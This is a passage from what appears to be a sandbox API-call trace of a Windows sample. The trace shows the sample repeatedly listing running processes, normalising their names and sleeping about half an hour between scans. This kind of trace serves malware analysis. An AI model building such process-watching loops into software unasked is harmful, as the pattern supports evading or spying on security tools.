(pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0201.394] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0201.394] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0201.394] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0201.394] lstrlenW (lpString="isp.exe") returned 7 [0201.394] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0201.394] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0201.394] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0201.395] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0201.395] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0201.395] lstrlenW (lpString="cowboy.exe") returned 10 [0201.395] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0201.395] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0201.395] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0201.395] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0201.396] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0201.396] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0201.396] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0201.396] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0201.396] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0201.396] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0201.397] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0201.397] lstrlenW (lpString="thats.exe") returned 9 [0201.397] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0201.397] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0201.397] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0201.397] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0201.398] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0201.398] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0201.398] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0201.398] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0201.398] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0201.398] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0201.398] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0201.398] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0201.398] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0201.398] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0201.398] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0201.398] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0201.399] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0201.399] lstrlenW (lpString="actual.exe") returned 10 [0201.399] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0201.399] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0201.399] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0201.399] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0201.400] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0201.400] lstrlenW (lpString="potter larry.exe") returned 16 [0201.400] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0201.400] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0201.400] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0201.400] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0201.400] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0201.400] lstrlenW (lpString="contents what certificate.exe") returned 29 [0201.400] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0201.400] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0201.400] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0201.401] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0201.401] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0201.401] lstrlenW (lpString="cindy.exe") returned 9 [0201.401] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0201.401] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0201.401] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0201.401] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0201.402] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0201.402] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0201.402] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0201.402] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0201.402] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0201.402] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0201.403] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0201.403] lstrlenW (lpString="unusual.exe") returned 11 [0201.403] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0201.403] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0201.403] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0201.403] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0201.403] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0201.403] lstrlenW (lpString="pacific.exe") returned 11 [0201.403] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0201.403] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0201.403] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0201.403] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0201.404] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0201.404] lstrlenW (lpString="phantom.exe") returned 11 [0201.404] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0201.404] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0201.404] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0201.404] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0201.405] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0201.405] lstrlenW (lpString="audiodg.exe") returned 11 [0201.405] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0201.405] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0201.405] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0201.405] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0201.406] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0201.406] lstrlenW (lpString="SCN0tification.exe") returned 18 [0201.406] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0201.406] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0201.406] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0201.406] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.406] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.406] lstrlenW (lpString="svchost.exe") returned 11 [0201.406] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.406] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.406] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.406] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0201.407] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0201.407] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0201.407] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0201.407] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0201.407] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0201.407] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0201.408] CloseHandle (hObject=0x2c4) returned 1 [0201.408] Sleep (dwMilliseconds=0x1b7740) [0211.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0211.415] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.416] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0211.416] lstrlenW (lpString="[System Process]") returned 16 [0211.416] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0211.416] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0211.416] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0211.416] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.417] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0211.417] lstrlenW (lpString="System") returned 6 [0211.417] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0211.417] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0211.417] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0211.417] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.418] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0211.418] lstrlenW (lpString="smss.exe") returned 8 [0211.418] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0211.418] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0211.418] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0211.418] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.419] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0211.419] lstrlenW (lpString="csrss.exe") returned 9 [0211.419] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0211.419] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0211.419] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0211.419] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.420] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0211.420] lstrlenW (lpString="wininit.exe") returned 11 [0211.420] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0211.420] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0211.420] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0211.420] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.421] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0211.421] lstrlenW (lpString="csrss.exe") returned 9 [0211.421] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0211.421] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0211.421] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0211.421] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.422] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0211.422] lstrlenW (lpString="winlogon.exe") returned 12 [0211.422] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0211.422] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0211.422] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0211.422] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.423] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0211.423] lstrlenW (lpString="services.exe") returned 12 [0211.423] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0211.423] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0211.423] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0211.423] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.424] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0211.424] lstrlenW (lpString="lsass.exe") returned 9 [0211.424] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0211.424] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0211.424] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0211.424] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.424] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.424] lstrlenW (lpString="svchost.exe") returned 11 [0211.425] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.425] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.425] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.425] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.425] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.425] lstrlenW (lpString="svchost.exe") returned 11 [0211.425] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.425] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.425] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.425] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.426] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0211.426] lstrlenW (lpString="dwm.exe") returned 7 [0211.426] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0211.426] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0211.426] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0211.426] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.427] lstrcpyW (in: lpString1=0x2b4fd74, 